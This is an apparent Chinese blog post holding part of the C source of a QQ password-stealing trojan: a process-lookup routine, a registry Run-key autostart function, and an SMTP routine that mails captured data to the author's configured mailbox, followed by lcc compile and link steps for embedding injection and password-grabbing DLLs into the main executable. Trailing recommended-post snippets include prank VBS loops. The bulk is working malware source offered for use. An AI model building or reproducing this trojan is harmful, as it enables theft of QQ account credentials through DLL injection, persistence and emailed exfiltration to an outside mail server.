        #ifdef _DEBUG
            printf("GetProcAddress() error : %d/n", GetLastError());
        #endif
        return 0;
    }
    
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i , j;
    HANDLE hProcess;
    HMODULE hMod;
    char szProcessName[MAX_PATH] = "UnknownProcess";


    // 计算目前有多少进程, aProcesses[]用来存放有效的进程PID
    if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
    {
        #ifdef _DEBUG
            printf("EnumProcesses() error : %d/n", GetLastError());
        #endif
        
        FreeLibrary(hmPsapi);
        return 0;
    }

    cProcesses = cbNeeded / sizeof(DWORD);

    // 按有效的PID遍历所有的进程
    for ( i = 0, j = 0; i < cProcesses; i++ )
    {
        // 打开特定PID的进程
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
                                PROCESS_VM_READ,
                                FALSE,
                                aProcesses[i]);
        // 取得特定PID的进程名
        if ( hProcess )
        {
            if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
            {
                GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName));

                //将取得的进程名与输入的进程名比较,如相同则返回进程PID
                if(!stricmp(szProcessName, ProcessName))
                {
                    CloseHandle( hProcess );

                    //如果接收缓冲区有效,就依次填入pid,否则立即返回
                    if (aPid != NULL)
                    {
                        aPid[j++] = aProcesses[i];
                    }
                    else
                    {
                        FreeLibrary(hmPsapi);
                        #ifdef _DEBUG
                            printf("Pid is %d/n", aProcesses[i]);
                        #endif
                        return aProcesses[i];
                    }

                }
            }
        }
    }

    CloseHandle( hProcess );

    if (aPid != NULL)
    {
        FreeLibrary(hmPsapi);
        #ifdef _DEBUG
            printf("Pid is %d/n", aPid[0]);
        #endif
        return aPid[0];
    }
    
    #ifdef _DEBUG
        printf("Not find %s/n", ProcessName);
    #endif
        
    FreeLibrary(hmPsapi);
    return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//RegStart.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "mylib.h"
#include <windows.h>
//---------------------------------------------------------------------
//加入注册表自启动项
void RegStart(const char *KeyName, const char *KeyValue)
{
    HKEY phkResult;

    RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                    "SOFTWARE//Microsoft//Windows//CurrentVersion//Run",
                    0,
                    NULL,
                    REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
                    NULL,
                    &phkResult,
                    NULL);

    RegSetValueEx(phkResult,
                    KeyName,
                    0,
                    REG_SZ,
                    (unsigned char *)KeyValue,
                    lstrlen(KeyValue) + 1);

    RegCloseKey(phkResult);

}

//---------------------------------------------------------------------


/*---------------------------------------------------------------------
//SendMail.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <winsock2.h>
#include <windows.h>
//---------------------------------------------------------------------
void Base64(unsigned char chasc[3],unsigned char chuue[4]);
int Talk(SOCKET sockid, const char *OkCode, char *pSend);
//---------------------------------------------------------------------
int SendMail(const SMTPINFO *psmtpinfo)
{
    //准备网络连接
    WSADATA wsadata;

    if (WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
    {
        #ifdef _DEBUG
            printf("WSAStartup() error : %d/n", GetLastError());
        #endif
        return 1;
    }

    //创建套接字
    SOCKET sockid;

    if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
    {
        #ifdef _DEBUG
            printf("socket() error : %d/n", GetLastError());
        #endif
        WSACleanup();
        return 1;
    }

    //得到smtp服务器ip
    struct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);
    struct sockaddr_in addr;

    CopyMemory(&addr.sin_addr.S_un.S_addr,
            phostent->h_addr_list[0],
            sizeof(addr.sin_addr.S_un.S_addr));
            
    #ifdef _DEBUG
        struct in_addr srvaddr;
        CopyMemory(&srvaddr, &addr.sin_addr.S_un.S_addr, sizeof(struct in_addr));
        printf("Smtp server name is %s/n", psmtpinfo->SmtpSrvName);
        printf("Smtp server ip is %s/n", inet_ntoa(srvaddr));
    #endif

    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(psmtpinfo->Port));
    ZeroMemory(&addr.sin_zero, 8);

    //连接服务器
    if (connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
    {
        #ifdef _DEBUG
            printf("connect() error : %d/n", GetLastError());
        #endif
        goto STOP;
    }

    if (Talk(sockid, "220", "AUTH LOGIN"))
    {
        goto STOP;
    }

    //将用户名和密码转换为base64编码
    const int buflen = 128;
    char buf[buflen];
    int i,userlen,passlen;

    ZeroMemory(buf, buflen);

    userlen = lstrlen(psmtpinfo->UserName);
    passlen = lstrlen(psmtpinfo->Password);

    for(i = 0; i < (userlen%3?userlen/3+1:userlen/3); i++)
    {
        Base64(psmtpinfo->UserName + i * 3, buf + i * 4);
    }

    if (Talk(sockid, "334", buf))
    {
        goto STOP;
    }

    ZeroMemory(buf, buflen);

    for(i = 0; i < (passlen%3?passlen/3+1:passlen/3); i++)
    {
        Base64(psmtpinfo->Password + i * 3, buf + i * 4);
    }

    if (Talk(sockid, "334", buf))
    {
        goto STOP;
    }

    if (Talk(sockid, "235", "HELO sjdf"))
    {
        goto STOP;
    }

    ZeroMemory(buf, buflen);
    wsprintf(buf, "MAIL FROM:%s", psmtpinfo->From);

    if (Talk(sockid, "250", buf))
    {
        goto STOP;
    }

    ZeroMemory(buf, buflen);
    wsprintf(buf, "RCPT TO:%s", psmtpinfo->To);

    if (Talk(sockid, "250", buf))
    {
        goto STOP;
    }

    if (Talk(sockid, "250", "DATA"))
    {
        goto STOP;
    }

    ZeroMemory(buf, buflen);
    wsprintf(buf, "TO:%s/r/nFROM:%s/r/nSUBJECT:%s/r/n%s/r/n/r/n.",
                    psmtpinfo->To,psmtpinfo->From,psmtpinfo->Subject,psmtpinfo->msg);
    if (Talk(sockid, "354", buf))
    {
        goto STOP;
    }

    if (Talk(sockid, "250", "QUIT"))
    {
        goto STOP;
    }

    if (Talk(sockid, "221", ""))
    {
        goto STOP;
    }
    else
    {
        closesocket(sockid);
        WSACleanup();
        return 0;
    }

STOP:
    closesocket(sockid);
    WSACleanup();
    return 1;
}
//---------------------------------------------------------------------
int Talk(SOCKET sockid, const char *OkCode, char *pSend)
{
    const int buflen = 128;
    char buf[buflen];
    ZeroMemory(buf, buflen);

    //接收返回信息
    if (recv(sockid, buf, buflen, 0) == SOCKET_ERROR)
    {
        #ifdef _DEBUG
            printf("recv() error : %d/n", GetLastError());
        #endif
        return 1;
    }
    
    #ifdef _DEBUG
        printf(buf);
    #endif

    if (strstr(buf, OkCode) == NULL)
    {
        #ifdef _DEBUG
            printf("Error: recv code != %s/n", OkCode);
        #endif
        return 1;
    }

    //发送命令
    if (lstrlen(pSend))
    {
        ZeroMemory(buf, buflen);
        wsprintf(buf, "%s/r/n", pSend);
        
        #ifdef _DEBUG
            printf(buf);
        #endif

        if (send(sockid, buf, lstrlen(buf), 0) == SOCKET_ERROR)
        {
            #ifdef _DEBUG
                ptintf("send() error : %d/n", GetLastError());
            #endif
            return 1;
        }
    }

    return 0;
}
//---------------------------------------------------------------------
//Base64编码,chasc:未编码的二进制代码,chuue:编码过的Base64代码
void Base64(unsigned char chasc[3],unsigned char chuue[4])
{
    int i,k=2;
    unsigned char t = 0;

    for(i=0;i<3;i++)
    {

        *(chuue+i)=*(chasc+i)>>k;
        *(chuue+i)|=t;
        t=*(chasc+i)<<(8-k);
        t>>=2;
        k+=2;
    }

    *(chuue+3)=*(chasc+2)&63;

    for(i=0;i<4;i++)

        if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;

        else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;

        else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;

        else if(*(chuue+i)==62) *(chuue+i)=43;

        else if(*(chuue+i)==63) *(chuue+i)=47;

}





编译:

首先把你的邮箱信息在GetQQPass.c那个文件里面改成自己的。
然后用lcc编译器,其实一起编译也是可以的,这样分开只是看着清楚些。

lc -c -O GQPSvr.c
lc -c -O getqqpass.c
lc -c -O getosver.c
lc -c -O injectdll.c
lc -c -O CopySelfToSys.c
lc -c -O RegStart.c
lc -c -O AddPrivilege.c
lc -c -O GetStyleWindow.c
lc -c -O sendmail.c
lc -c -O processtopid.c
lc -c -O NT_GQP_DLL.c
lc -c -O NT_Plus_Dll.c

然后把两个dll连接了:

lcclnk -s -dll -entry DllMain NT_GQP_DLL.obj sendmail.obj GetStyleWindow.obj GetQQPass.obj ws2_32.lib

lcclnk -s -dll -entry DllMain NT_Plus_Dll.obj injectdll.obj Processtopid.obj AddPrivilege.obj

这样会生成两个dll:NT_GQP_DLL.dll和nt_plus_dll.dll,再用bin2txt工具这个程序把这两个dll文件转换成数据文件,分别叫做GQP_Data.h和Plus_Data.h,把里面的数据放在三个大数组里GQP_Dll_Data1,GQP_Dll_Data2和GQP_Dll_Data3还有Plus_DLL_Data1,Plus_DLL_Data2,Plus_DLL_Data3。(用三个是因为lcc编译器不支持太多的行,如果用vc编译,直接放在一个数组里就行了。)

这样主程序就可以编译通过了。
lcclnk -s -subsystem windows GQPSvr.obj RegStart.obj copyselftosys.obj getosver.obj injectdll.obj AddPrivilege.obj GetStyleWindow.obj sendmail.obj processtopid.obj getqqpass.obj ws2_32.lib

 
老版QQ界面实现(附源代码) 源码只是简单的实现了类QQ的界面, 没有实现具体功能. 有需要的可以下载 立即下载

相关推荐

QQ2002

文件中又包含其他几款经典程序源码

php连接mysql数据库类_PHP写了个连接Mysql数据库的类

评论内容较长,点击标题查看--lees vloerlamp评论内容较长,点击标题查看--http://www.pinsaguelbc.frI was going through a big loss in my online business but since.--http://www.sosirradies31.fr$Locale = setlocale (LC_ALL, $_SESSION[...

weixin_35599225的博客 243

QQ 源代码(C++版).rar_QQ 网络源代码_QQ的源代码_qq源代码_qq的代码

仿照QQ聊天所做的一个项目,只限于局域网的,个人认为非常棒的,大家一起来分享~记得上次就放出过类似源码,但感觉这次比上次的更完整

qq病毒java代码_QQSystem

QQSystem - Java项目描述结合本学期java课程中所学的有关GUI,TCP/UDP通信协议,进程/线程创立,I/O输入输出等相关知识,参考聊天软件QQ实现一个简单的聊天系统,要求能够实现点对点的聊天和群聊,同时具有添加,删除好友等基本功能。系统需求分析1、注册界面:一个聊天系统最基本的需要由注册功能,用户通过界面注册系统后注册一个新的账号,拥有一个 独一无二的ID和自己的网名,并且可以...

weixin_42653672的博客 2656

模拟OICQ的实现思路和核心程序(二)

3 在线用户的信息扫描和更新在网页中使用内置框架来调用扫描和更新程序,这行也能在网页源代码里面看到!<iframe name=flush src="userflush.php" width="0" height="0" frameborder="0" scrolling="NO" marginwidth="0" marginheight="0" hspace="0" vspace="0"></iframe>4 信息扫描和更新程序 userflush.php<? session_start();mysql_connect("localhost","","");mysql_select_db("p

【人工智能工程】完结JEV 决策大模型实战,让 AI 从会聊天到能决策

内容概要:本文介绍了JEV决策大模型的核心理念与工程实践,强调将其作为“快判断”层从通用大模型中剥离使用。JEV不生成文本,而是针对明确的状态和问题,输出结构化、带概率的决策结果,适用于高频、原子化的判断任务。文章详细阐述了JEV的工作机制、与通用大模型的本质区别、典型应用场景(如Agent工具路由)、questions的设计方法、能力边界以及兜底机制的重要性,并指出其在成本、延迟和输出确定性方面的优势。; 适合人群:具备一定AI工程实践经验的研发人员、系统架构师,尤其是正在构建Agent、自动化决策系统或优化大模型调用链的技术团队;; 使用场景及目标:①优化高频、轻量级判断任务(如工单分类、内容初筛、RAG相关性判定)的效率与成本;②实现主模型与决策模块的职责分离,提升系统整体稳定性与可维护性;③学习如何设计高质量的判断问题与概率校准机制; 阅读建议:此资源聚焦于决策模型的工程化落地,建议结合实际业务中的判断流程进行POC验证,重点关注questions设计、阈值校准与兜底策略的构建,避免盲目神化JEV的能力。

病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

一、前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见《病毒木马查杀第008篇:熊猫烧香之病毒查杀总结》)来对病毒的行为产生一定的认识,这样在之后的逆向分析中,我就能够产生“先入为主”的心态,在分析反汇编代码的时候就能够比较顺利。本文论述的是通过静态分析方法来理解我们的目标病毒,看看仅仅通过观察其十六

Gleam的专栏 4480

海康威视摄像机SDK二次开发--提取音频保存至文件

由于最近在开发海康威视摄像头,特此记录一下如何提取音频数据,这里主要依靠语音对讲返回的音频数据,通过回调函数写入文件中,加个WAV头即可播放,编码格式可以自己设置在代码中有注释 文件结构 其中CameraInfo内容可以参看海康威视摄像机SDK二次开发–实时预览视频流保存到指定文件中 HIKSDKSaveRealData中的内容 package ClientDemo; import ClientDemo.CameraInfo; import com.sun.jna.NativeLong; import

RichardoMu的博客 3173

c++之QQ换颜色病毒

c++小病毒

禁止抄袭!!!版权所有,抄袭者会举报(禁止转载)。 448

MATLAB App Designer 实现多窗口交互与数据传递实战

本文详细介绍了如何使用MATLAB App Designer实现多窗口交互与数据传递的实战技巧。从基础的多窗口应用设计到高级的动态窗口创建,涵盖了窗口调用控制、数据传递方法、状态管理及用户体验优化等核心内容,帮助开发者高效构建复杂的MATLAB GUI应用。

milk5的博客 667

U8二次开发CO-基于Net8调用COM对象

本文章介绍的U8二次开发CO技术,就是基于微软COM组件技术,使用微软开源的编程框架Net6/7/8/9来调用U8的COM组件,完成基本的登录认证,工作流处理,数据库操作等。

pccai的博客 5507

QQ2008和2012截屏の实现(C++源码)

很多时候登QQ只是为了截图..虽然系统有截屏键,浏览器什么的都有截屏插件,但总觉得QQ是做的做好的。只此一家别无分号。但有时候断网就悲催了。  于是周六周末摸索着自己实现了一下它的两个基本功能,截屏到剪切板和保存到文件。参考了两个版本的代码 。一个是VC 驿站上的QQ2008版本的截屏。它采用了橡皮筋类。一种是之前优快云上一个牛人放出的模拟ipad效果的源代码里面的截屏功能

_Witch__的专栏 8249

Xilinx SDK工程编译、链接、调试注意事项

1、添加工程 启动SDK时选取workspace,如下图所示: 对应的workpace文件夹中会生成如下几个文件: 如果当前workspace是首次加载工程,SDK会进入启动界面 点击Import Project,导入已有工程 点击Browse,添加工程路径,一个完整的工程包含一个bsp文件夹,一个HW文件夹,和一个src文件夹(添加C功能函数) 点击Fini...

Autumn_He的博客 1万+

这是 qq整人代码 VB

On Error Resume Next  Dim wsh,ye   set wsh=createobject("wscript.shell")  for i=1 to 10 wscript.sleep 700   wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v"  wsh.sendKeys i wsh.sendKeys "%s"  next

wtfsb的博客 4万+

(秋招)vins中的光流法

那么下一层基于这个初值也会得到一个解,就这样进行迭代,直到达到金字塔的最底层,也即第0层,就是原始分辨率的那张图片,此时光流法就会给出一个速度值,这个值是比较可靠的(相比对原始图片直接使用光流法来说)。2.小运动,这个也必须满足,就是时间的变化不会引起位置的剧烈变化,这样灰度才能对位置求偏导(换句话说,小运动情况下我们才能用前后帧之间单位位置变化引起的灰度变化去近似灰度对位置的偏导数),这也是光流法不可或缺的假定。可以看到光流法是来估计物体运动的(估计的是物体运动的速度,根据速度再计算相对应的特征点)。

努力coding 652

华为2021年天线工程师笔试题目回忆总结(持续更新)

1. 判定长线和短线 所谓长线是指传输线的几何长度和线上传输电磁波的波长的比值(即电长度)大于或接近于1。反之称为短线。是相对于波长而言的。 1000m的传输线,对于频率为50hz(即波长为6000km)的交流电来说,仍远小于波长,应视为短线。长线和短线的区别还在于:长线为分布参数电路,而短线是集总参数电路。 2. 判定传输线的容性和感性 传输线上的输入阻抗具有以下特点: 1/4波长变换性:感性负载与容性负载变换,开路与短路变换; 1/2波长重复性:相距1/2波长的整数倍的两个点输入阻抗都相等。1/4开路传

ludashi3的博客 9531

一个QQ木马的部分代码

一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样操作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分

Augice's Blog 2234

Windows 64 位系统下安装配置 DOSBox 及 debug.exe

该篇博客同样作为类似问题 “如何在 Windows 64 位系统下进入 debug” 的答案。 很多同学初看王爽的《汇编语言》,或者因为其它原因需要进入 debug 调试模式下学习汇编语言的时候,会发现进入不了,出现类似以下的错误提示。 这是因为他们使用的是 64 位的 Windows 系统(Win 7,Win 8 以及 Win 10 等),而 64 位 Windows 系统不再支持在命令提示符窗口下进入 debug 调试模式。那么对于使用 64 位 Windows 系统的用户来说,该怎样才能够顺利进入 d

加号减减号的博客 5万+

锁机病毒代码,喜欢的点亮大拇指

:On Error Resume Next Sub bat echo off &amp; cls echo Batching_codez_here_following_vbs_rules &amp; pause start wscript -e:vbs "%~f0" Exit Sub End Sub WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&amp;TSName)WScri...

qq_42415664的博客 1万+

从桨叶设计到电机匹配:手把手教你调出无人机最佳动力组合

本文系统介绍了无人机动力系统的核心匹配原则,重点解析了如何通过测试与数据分析,优化螺旋桨与电机的组合,从而显著提升系统力效与续航。文章提供了从参数解读、实战测试到深度调优的完整指南,帮助开发者解决电机过热、推力不足等常见问题,实现无人机性能最大化。

weixin_29305313的博客 242

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

C++编写的QQ木马源代码

近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电

http://www.softwareace.cn 王牌软件 3056

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

QQ群友召唤术事件

在2021年1月29号晚上大约10时许,各QQ群里突然出现一种名为“群友召唤术”的恶搞病毒。该病毒程序虽并没有实际伤害,但是一旦有人转发。被转发群聊的所有用户都会收到“您已被踢出群聊”的消息,不管有没有开群消息屏蔽。此恶搞病毒已在各大群传播,请各位广泛转发该消息。防止更多人收到骚扰。维护网络环境,人人有责!举报传播者则会搜查IP地址并且造成永久封号防护措施:1.不主动去点该病毒,不然会同时传播到你的其他群2.若你已经点了,去账号安全查看是否有新设备登录,立即删除 群友召唤术有概率自行转发 xml代码如下:

SimpleAstronaut的博客 2万+

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

vbs 脚本2

一些很恶作剧的vbs程序代码 作者: 字体:[增加减小] 类型:转载 时间:2013-01-16我要评论 恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可 操作方法:把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,...

weixin_30511039的博客 5820

QQ尾巴病毒仿真(转)

  自2003起,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。   粘贴尾巴  

独立寒秋的库房 1227
上一篇: DLL注入进程源码的新方式
下一篇: 网络信息探测技巧
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值